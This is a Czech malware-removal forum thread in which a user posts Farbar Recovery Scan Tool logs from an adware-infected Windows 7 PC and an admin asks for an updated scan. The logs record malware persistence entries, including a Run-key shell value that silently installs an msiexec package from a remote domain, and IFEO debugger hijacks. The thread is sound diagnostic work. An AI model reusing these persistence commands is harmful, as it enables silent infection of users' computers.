2017-06-16 17:22 - 2010-03-18 19:56 - 00000000 ____D () C:\Windows\SysWOW64\Macromed
2017-06-11 17:17 - 2011-04-20 16:37 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\Audacity
2017-06-10 17:57 - 2009-07-14 05:20 - 00000000 ____D () C:\Windows\system32\NDF
Files to move or delete:
====================
C:\Windows\Temp\00010362\conhost.exe
C:\Windows\Temp\0e-988c5-729-c8f8e-960e0de90526f\QKRPRNSOSV.exe
==================== Bamital & volsnap Check =================
(There is no automatic fix for files that do not pass verification.)
C:\Windows\System32\winlogon.exe => File is digitally signed
C:\Windows\System32\wininit.exe => File is digitally signed
C:\Windows\SysWOW64\wininit.exe => File is digitally signed
C:\Windows\explorer.exe => File is digitally signed
C:\Windows\SysWOW64\explorer.exe => File is digitally signed
C:\Windows\System32\svchost.exe => File is digitally signed
C:\Windows\SysWOW64\svchost.exe => File is digitally signed
C:\Windows\System32\services.exe => File is digitally signed
C:\Windows\System32\User32.dll => File is digitally signed
C:\Windows\SysWOW64\User32.dll => File is digitally signed
C:\Windows\System32\userinit.exe => File is digitally signed
C:\Windows\SysWOW64\userinit.exe => File is digitally signed
C:\Windows\System32\rpcss.dll => File is digitally signed
C:\Windows\System32\Drivers\volsnap.sys => File is digitally signed
LastRegBack: 2017-07-02 12:59
==================== End Of Log ============================
-
Rudy
- Site Admin
- Příspěvky: 118275
- Registrován: 30 říj 2003 13:42
- Bydliště: Plzeň
- Kontaktovat uživatele:
Re: Automatické otevírání prohlížečů a reklam
To je nějaká stará verze.
Stáhněte novou a dejte log.(ATTENTION: ====> FRST version is 1059 days old and could be outdated)
Dotazy a logy vkládejte pouze do vašich threadů. Soukromé zprávy, icq a e-maily neslouží k řešení vašich problémů.
Podpořte, prosím, naše fórum : https://platba.viry.cz/payment/.
Navštivte:
e-mail: rudy(zavináč)forum.viry.cz
Varování: Před odvirováním PC si udělejte zálohy svých důležitých dat (pošta, kontakty, dokumenty, fotografie, videa, hudba apod.). Virus mimo svých "viditelných" aktivit může poškodit systém!
Po dořešení vašeho problému bude vlákno zamknuto. Stejně tak tehdy, pokud bude nečinné více než 14dnů. Pokud budete chtít vlákno aktivovat, napište mi na mail uvedený výše.
Podpořte, prosím, naše fórum : https://platba.viry.cz/payment/.
Navštivte:
e-mail: rudy(zavináč)forum.viry.cz
Varování: Před odvirováním PC si udělejte zálohy svých důležitých dat (pošta, kontakty, dokumenty, fotografie, videa, hudba apod.). Virus mimo svých "viditelných" aktivit může poškodit systém!
Po dořešení vašeho problému bude vlákno zamknuto. Stejně tak tehdy, pokud bude nečinné více než 14dnů. Pokud budete chtít vlákno aktivovat, napište mi na mail uvedený výše.
Re: Automatické otevírání prohlížečů a reklam
Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version:05-03-2016 01
Ran by Uzivatel (administrator) on UZIVATEL-PC (03-07-2017 23:05:39)
Running from C:\Users\Uzivatel\Desktop
Loaded Profiles: Uzivatel (Available Profiles: Uzivatel & DefaultAppPool)
Platform: Windows 7 Home Premium Service Pack 1 (X64) Language: Čeština (Česká republika)
Internet Explorer Version 11 (Default browser: IE)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/33 ... scan-tool/
==================== Processes (Whitelisted) =================
(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)
(Microsoft Corporation) C:\Program Files\Microsoft Security Client\MsMpEng.exe
(AMD) C:\Windows\System32\atiesrxx.exe
(AMD) C:\Windows\System32\atieclxx.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ElevationManager\AdobeUpdateService.exe
(Adobe Systems, Incorporated) C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe
(Advanced Micro Devices, Inc.) C:\Program Files\AMD\ATI.ACE\Fuel\Fuel.Service.exe
(Apple Inc.) C:\Program Files (x86)\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
(TODO: <Company name>) C:\ProgramData\AppmallosayoV\AppmallosayoV.exe
(Hewlett-Packard Company) C:\Program Files (x86)\Common Files\LightScribe\LSSrvc.exe
(Microsoft Corporation) C:\Program Files (x86)\Sony\Shared Plug-Ins\Media Manager\MSSQL$SONY_MEDIAMGR\Binn\sqlservr.exe
(Nero AG) C:\Program Files (x86)\Common Files\Nero\Nero BackItUp 4\NBService.exe
() C:\Program Files (x86)\CDBurnerXP\NMSAccessU.exe
(PACE Anti-Piracy, Inc.) C:\Program Files (x86)\Common Files\PACE\Services\LicenseServices\LDSvc.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
() C:\Windows\SysWOW64\PnkBstrA.exe
(Microsoft Corporation) C:\Program Files\Microsoft Security Client\msseces.exe
(Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\cnext.exe
(Microsoft Corporation) C:\Program Files (x86)\Microsoft SQL Server\90\Shared\sqlbrowser.exe
() C:\Windows\Temp\00010362\conhost.exe
(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVC.EXE
(Hewlett-Packard Company) C:\Program Files (x86)\Common Files\LightScribe\LightScribeControlPanel.exe
(WIBU-SYSTEMS AG) C:\Program Files (x86)\CodeMeter\Runtime\bin\CodeMeter.exe
(Skype Technologies S.A.) C:\Program Files (x86)\Skype\Phone\Skype.exe
(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVCM.EXE
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
(WIBU-SYSTEMS AG) C:\Program Files (x86)\CodeMeter\Runtime\bin\CodeMeterCC.exe
() C:\Program Files (x86)\Common Files\Totem Shared\Uninstall0001\Upd.exe
(Apple Inc.) C:\Program Files (x86)\iTunes\iTunesHelper.exe
(Safer Networking Ltd.) C:\Program Files (x86)\Spybot - Search & Destroy\SDWinSec.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\ACC\Creative Cloud.exe
(Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe
(Advanced Micro Devices Inc.) C:\Program Files (x86)\AMD\ATI.ACE\Core-Static\MOM.exe
(Apple Inc.) C:\Program Files\iPod\bin\iPodService.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\IPC\AdobeIPCBroker.exe
(Advanced Micro Devices Inc.) C:\Program Files (x86)\AMD\ATI.ACE\Core-Static\CCC.exe
() C:\Windows\Temp\g985A.tmp.exe
() C:\Windows\Temp\g985B.tmp.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ADS\Adobe Desktop Service.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\HEX\Adobe CEF Helper.exe
() C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSync\CoreSync.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CCXProcess\CCXProcess.exe
(Node.js) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CCXProcess\libs\node.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\HEX\Adobe CEF Helper.exe
(Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
(Microsoft Corporation) C:\Windows\System32\MsSpellCheckingFacility.exe
(Microsoft Corporation) C:\Windows\System32\taskmgr.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
==================== Registry (Whitelisted) ===========================
(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)
HKLM\...\Run: [Skytel] => C:\Program Files\Realtek\Audio\HDA\Skytel.exe [1833504 2009-08-18] (Realtek Semiconductor Corp.)
HKLM\...\Run: [RtHDVCpl] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [8067616 2009-08-18] (Realtek Semiconductor)
HKLM\...\Run: [AdobeAAMUpdater-1.0] => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe [508128 2016-03-22] (Adobe Systems Incorporated)
HKLM\...\Run: [MSC] => c:\Program Files\Microsoft Security Client\msseces.exe [1353680 2016-11-14] (Microsoft Corporation)
HKLM\...\Run: [StartCN] => C:\Program Files\AMD\CNext\CNext\cnext.exe [4926664 2016-02-26] (Advanced Micro Devices, Inc.)
HKLM\...\Run: [Malwarebytes TrayApp] => C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\mbamtray.exe [2780112 2017-01-20] (Malwarebytes)
HKLM\...\Run: [Login] => C:\Windows\Temp\00010362\conhost.exe [1870848 2017-06-29] () <===== ATTENTION
HKLM-x32\...\Run: [Uninstall0001] => C:\Program Files (x86)\Common Files\Totem Shared\Uninstall0001\upd.exe [57344 2010-07-25] ()
HKLM-x32\...\Run: [APSDaemon] => C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe [60712 2014-10-11] (Apple Inc.)
HKLM-x32\...\Run: [seznam-listicka-distribuce] => C:\Program Files (x86)\Seznam.cz\distribution\szninstall.exe [1062472 2013-05-16] ()
HKLM-x32\...\Run: [iTunesHelper] => C:\Program Files (x86)\iTunes\iTunesHelper.exe [157480 2014-10-15] (Apple Inc.)
HKLM-x32\...\Run: [Adobe Creative Cloud] => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\ACC\Creative Cloud.exe [2313408 2016-04-07] (Adobe Systems Incorporated)
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [334896 2015-06-08] (Oracle Corporation)
HKLM-x32\...\Run: [PlaysTV] => "C:\Program Files (x86)\Raptr Inc\PlaysTV\playstv_launcher.exe" --startup
HKLM-x32\...\Run: [StartCCC] => C:\Program Files (x86)\AMD\ATI.ACE\Core-Static\amd64\CLIStart.exe [767176 2015-08-04] (Advanced Micro Devices, Inc.)
Winlogon\Notify\igfxcui: C:\Windows\system32\igfxdev.dll (Intel Corporation)
Winlogon\Notify\igfxcui:
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [LightScribe Control Panel] => C:\Program Files (x86)\Common Files\LightScribe\LightScribeControlPanel.exe [2736128 2010-08-16] (Hewlett-Packard Company)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [RGSC] => C:\Program Files (x86)\Rockstar Games\Rockstar Games Social Club\RGSCLauncher.exe /silent
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [cz.seznam.software.autoupdate] => "C:\Users\Uzivatel\AppData\Roaming\Seznam.cz\szninstall.exe" -c
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [cz.seznam.software.szndesktop] => "C:\Users\Uzivatel\AppData\Roaming\Seznam.cz\bin\wszndesktop.exe" -q
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [ooVoo.exe] => C:\program files (x86)\oovoo\oovoo.exe /minimized
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [Skype] => C:\Program Files (x86)\Skype\Phone\Skype.exe [27716568 2017-05-04] (Skype Technologies S.A.)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [QKRPRNSOSV.exe] => C:\Windows\Temp\0e-988c5-729-c8f8e-960e0de90526f\QKRPRNSOSV.exe [75264 2017-06-29] () <===== ATTENTION
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [7FM3ZXLNA1ZP1PG] => C:\Program Files\FNJLTCS41J\FNJLTCS41.exe [1040384 2017-06-29] (PYXQ)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [6VPXZBGTWPME1EW] => C:\Program Files\SWG63XXW0V\SWG63XXW0.exe [1040384 2017-06-29] (PYXQ)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [5Q7U43XKBO736KK] => C:\Program Files\G05HC4PZV0\M20DKGF77.exe [1040384 2017-06-29] ()
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [G9CQIRQT0759DOK] => C:\Program Files\I59ZA8EZ7K\91SNIEC4V.exe [1040384 2017-06-29] (N9@XW9)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.ltdmsjq.com/?data=zDlkMj8y ... Y4NWU2Rq== /q
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\MountPoints2: {a0a4aba1-0a8a-11e7-9421-6cf0491de2a6} - J:\setup.exe
AppInit_DLLs: C:\ProgramData\AppmallosayoV\Voltdax.dll => C:\ProgramData\AppmallosayoV\Voltdax.dll [343552 2017-06-29] ()
AppInit_DLLs-x32: C:\ProgramData\AppmallosayoV\Grave-Fan.dll => C:\ProgramData\AppmallosayoV\Grave-Fan.dll [246784 2017-06-29] ()
IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
ShellExecuteHooks: - {E4CA1236-0398-11E7-A247-64006A5CFC23} - C:\Users\Uzivatel\AppData\Roaming\Putodom\Ljeent.dll No File [ ]
ShellIconOverlayIdentifiers: [ AccExtIco1] -> {AB9CF9F8-8A96-4F9D-BF21-CE85714C3A47} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll [2016-04-01] ()
ShellIconOverlayIdentifiers: [ AccExtIco2] -> {853B7E05-C47D-4985-909A-D0DC5C6D7303} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll [2016-04-01] ()
ShellIconOverlayIdentifiers: [ AccExtIco3] -> {42D38F2E-98E9-4382-B546-E24E4D6D04BB} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll [2016-04-01] ()
ShellIconOverlayIdentifiers: [ SkyDrive1] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => No File
ShellIconOverlayIdentifiers: [ SkyDrive2] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => No File
ShellIconOverlayIdentifiers: [ SkyDrive3] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive1] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive2] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive3] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => No File
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\CodeMeter Control Center.lnk [2015-03-03]
ShortcutTarget: CodeMeter Control Center.lnk -> C:\Program Files (x86)\CodeMeter\Runtime\bin\CodeMeterCC.exe (WIBU-SYSTEMS AG)
Startup: C:\Users\Uzivatel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\OpenOffice.org 3.2.lnk [2010-03-16]
ShortcutTarget: OpenOffice.org 3.2.lnk -> C:\Program Files (x86)\OpenOffice.org 3\program\quickstart.exe ()
GroupPolicy: Restriction - Chrome <======= ATTENTION
==================== Internet (Whitelisted) ====================
(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)
Hosts: There are more than one entry in Hosts. See Hosts section of Addition.txt
Tcpip\Parameters: [DhcpNameServer] 10.0.0.138
Tcpip\..\Interfaces\{40F681A8-A980-409A-B0DD-4051D8BB9255}: [DhcpNameServer] 10.0.0.138
Tcpip\..\Interfaces\{CA7287A7-18E5-45C5-B9EC-4F4B539AEC8E}: [NameServer] 217.77.165.81 217.77.161.131
Internet Explorer:
==================
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://go.microsoft.com/fwlink/?LinkID=617911&ResetID=131433007661771000&GUID=3FA99D02-B647-4660-8FA9-310F89146BEB
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://go.microsoft.com/fwlink/?LinkID=617911&ResetID=131433007661801000&GUID=3FA99D02-B647-4660-8FA9-310F89146BEB
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=14957 ... 1837918379
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=14957 ... 1837918379
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://go.microsoft.com/fwlink/?LinkID=617911&ResetID=131433007661801000&GUID=3FA99D02-B647-4660-8FA9-310F89146BEB
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=14957 ... 1837918379
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,First Home Page = hxxp://g.msn.com/1ewenusDefaultPack/SKY2_FRPage
URLSearchHook: HKLM-x32 -> Default = {CCC7B159-1D8C-11E3-B2AD-F3EF3D58318D}
SearchScopes: HKLM -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKLM -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKLM -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gct=ds&appid=101&systemid=488&v=a15007-389&apn_uid=8423644100354278&apn_dtid=TCH001&o=APN11459&apn_ptnrs=AG1&q={searchTerms}
SearchScopes: HKLM-x32 -> DefaultScope {ielnksrch} URL =
SearchScopes: HKLM-x32 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
SearchScopes: HKLM-x32 -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gct=ds&appid=101&systemid=488&v=a15007-389&apn_uid=8423644100354278&apn_dtid=TCH001&o=APN11459&apn_ptnrs=AG1&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {1BC0D21C-672E-4049-AEFB-7589E730CC9D} URL = hxxp://encyklopedie.seznam.cz/search?q={searchTerms}&sourceid=QuickSearch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {24231C4F-6B02-48F6-8DA8-F8109976FB33} URL = hxxp://search.seznam.cz/?q={searchTerms}&sourceid=QuickSearch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {2542C02A-3967-4CFE-8EEC-990CFD9D94E4} URL = hxxp://www.novinky.cz/hledej?w={searchTerms}&s ... arch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {2D149E15-BBAA-435b-A98D-BBC53B907C7B} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {3561EA69-50EB-4855-BB78-E72E93193330} URL = hxxp://www.google.com/custom?client=pub-379428 ... earchTerms}
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {46B57E5F-2706-4863-8F63-8D5FE7A0759F} URL = hxxp://www.zbozi.cz/?q={searchTerms}&r=campmoz ... arch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {80c554b9-c7f8-4a21-9471-06d606da78a2} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {8A5604A0-BBA9-47FE-8797-3BBD3C8EAEFB} URL = hxxp://slovnik.seznam.cz/?q={searchTerms}&lang=en_cz&sourceid=QuickSearch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gct=ds&appid=101&systemid=488&v=a15007-389&apn_uid=8423644100354278&apn_dtid=TCH001&o=APN11459&apn_ptnrs=AG1&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {A4ACD589-7C3E-4213-BD4A-D721BBD2087F} URL =
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {A53725A9-A238-48C1-9C72-A061C266ED13} URL = hxxp://slovnik.seznam.cz/?q={searchTerms}&lang=cz_en&sourceid=QuickSearch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {B5BB941C-AAE1-41D4-8DB6-E622A0C3BA88} URL = hxxp://www.mapy.cz/?query={searchTerms}&source ... arch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {B94AF99D-D3FC-426D-8731-18FF6561EC08} URL = hxxp://www.firmy.cz/?q={searchTerms}&sourceid= ... arch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {E528EADF-38EC-40af-BBCF-5F15AABA9928} URL = hxxp://uk.search.yahoo.com/search?p={searchTerms}&fr=chr-devicevm&type=IEBD
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {E561C76C-DDED-4690-BAEF-A364A43D2940} URL = hxxp://tv.seznam.cz/hledej?w={searchTerms}&sourceid=QuickSearch_13415
BHO: No Name -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> No File
BHO: Windows Live ID Sign-in Helper -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll [2012-07-17] (Microsoft Corp.)
BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre6\bin\jp2ssv.dll => No File
BHO-x32: No Name -> {4f3ed5cd-0726-42a9-87f5-d13f3d2976ac} -> No File
BHO-x32: Spybot-S&D IE Protection -> {53707962-6F74-2D53-2644-206D7942484F} -> C:\Program Files (x86)\Spybot - Search & Destroy\SDHelper.dll [2009-01-26] (Safer Networking Limited)
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\ssv.dll [2015-07-19] (Oracle Corporation)
BHO-x32: Pomocná služba pro přihlášení k účtu Microsoft -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll [2012-07-17] (Microsoft Corp.)
BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\jp2ssv.dll [2015-07-19] (Oracle Corporation)
Toolbar: HKU\.DEFAULT -> No Name - {88C7F2AA-F93F-432C-8F0E-B7D85967A527} - No File
DPF: HKLM {233C1507-6A77-46A4-9443-F871F945D258} hxxp://download.macromedia.com/pub/shockwave/cabs/director/sw.cab
DPF: HKLM-x32 {02BF25D5-8C17-4B23-BC80-D3488ABDDC6B} hxxp://appldnld.apple.com.edgesuite.net/content.info.apple.com/QuickTime/qtactivex/qtplugin.cab
DPF: HKLM-x32 {166B1BCA-3F9C-11CF-8075-444553540000} hxxp://download.macromedia.com/pub/shockwave/cabs/director/sw.cab
DPF: HKLM-x32 {233C1507-6A77-46A4-9443-F871F945D258}
DPF: HKLM-x32 {4BFD075D-C36E-4F28-BB0A-5D472795197A} hxxp://download05.managerzone.com/soccer-3d/PowerLoader.cab
DPF: HKLM-x32 {CAFEEFAC-0016-0000-0024-ABCDEFFEDCBA}
DPF: HKLM-x32 {CAFEEFAC-0016-0000-0030-ABCDEFFEDCBA}
DPF: HKLM-x32 {D27CDB6E-AE6D-11CF-96B8-444553540000} hxxp://fpdownload2.macromedia.com/get/shockwave/cabs/flash/swflash.cab
Handler-x32: skype4com - {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\Program Files (x86)\Common Files\Skype\Skype4COM.dll [2017-04-05] (Skype Technologies)
StartMenuInternet: IEXPLORE.EXE - c:\program files\internet explorer\iexplore.exe hxxp://www.ourluckysites.com/?type=sc&ts=14957 ... 1837918379
FireFox:
========
FF ProfilePath: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default
FF NewTab: C:\ProgramData\AppmallosayoVs\ff.NT
FF DefaultSearchEngine: youndoo
FF SearchEngineOrder.1: Ask.com
FF SelectedSearchEngine: youndoo
FF Homepage: C:\ProgramData\AppmallosayoVs\ff.HP
FF Keyword.URL: hxxp://dts.search.ask.com/sr?src=ffb&gct=ds&appid=101&systemid=488&v=a15007-389&apn_dtid=TCH001&apn_ptnrs=AG1&apn_uid=8423644100354278&o=APN11459&q=
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_26_0_0_131.dll [2017-06-16] ()
FF Plugin: @esn/npbattlelog,version=2.7.1 -> C:\Program Files (x86)\Battlelog Web Plugins\2.7.1\npbattlelogx64.dll [2015-04-30] (EA Digital Illusions CE AB)
FF Plugin: @microsoft.com/GENUINE -> disabled [No File]
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.50907.0\npctrl.dll [2017-05-03] ( Microsoft Corporation)
FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Adobe\Adobe Creative Cloud\Utils\npAdobeAAMDetect64.dll [2016-04-07] (Adobe Systems)
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_26_0_0_131.dll [2017-06-16] ()
FF Plugin-x32: @adobe.com/ShockwavePlayer -> C:\Windows\SysWOW64\Adobe\Director\np32dsw_1202122.dll [2013-04-03] (Adobe Systems, Inc.)
FF Plugin-x32: @Apple.com/iTunes,version=1.0 -> C:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll [2014-02-18] ()
FF Plugin-x32: @esn.me/esnsonar,version=0.70.0 -> C:\Program Files (x86)\Battlelog Web Plugins\Sonar\0.70.0\npesnsonar.dll [No File]
FF Plugin-x32: @esn/esnlaunch,version=2.1.7 -> C:\Program Files (x86)\Battlelog Web Plugins\2.1.7\npesnlaunch.dll [No File]
FF Plugin-x32: @esn/npbattlelog,version=2.4.0 -> C:\Program Files (x86)\Battlelog Web Plugins\2.4.0\npbattlelog.dll [No File]
FF Plugin-x32: @esn/npbattlelog,version=2.7.1 -> C:\Program Files (x86)\Battlelog Web Plugins\2.7.1\npbattlelog.dll [2015-04-30] (EA Digital Illusions CE AB)
FF Plugin-x32: @java.com/DTPlugin,version=11.51.2 -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\dtplugin\npDeployJava1.dll [2015-07-19] (Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=11.51.2 -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\plugin2\npjp2.dll [2015-07-19] (Oracle Corporation)
FF Plugin-x32: @microsoft.com/GENUINE -> disabled [No File]
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.50907.0\npctrl.dll [2017-05-03] ( Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3502.0922 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2014-03-31] (Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=16.4.3528.0331 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2014-03-31] (Microsoft Corporation)
FF Plugin-x32: @pandonetworks.com/PandoWebPlugin -> C:\Program Files (x86)\Pando Networks\Media Booster\npPandoWebPlugin.dll [2014-07-11] (Pando Networks)
FF Plugin-x32: @real.com/nprpjplug;version=6.0.12.1483 -> C:\Program Files (x86)\K-Lite Codec Pack\Real\browser\plugins\nprpjplug.dll [2006-01-28] (RealNetworks, Inc.)
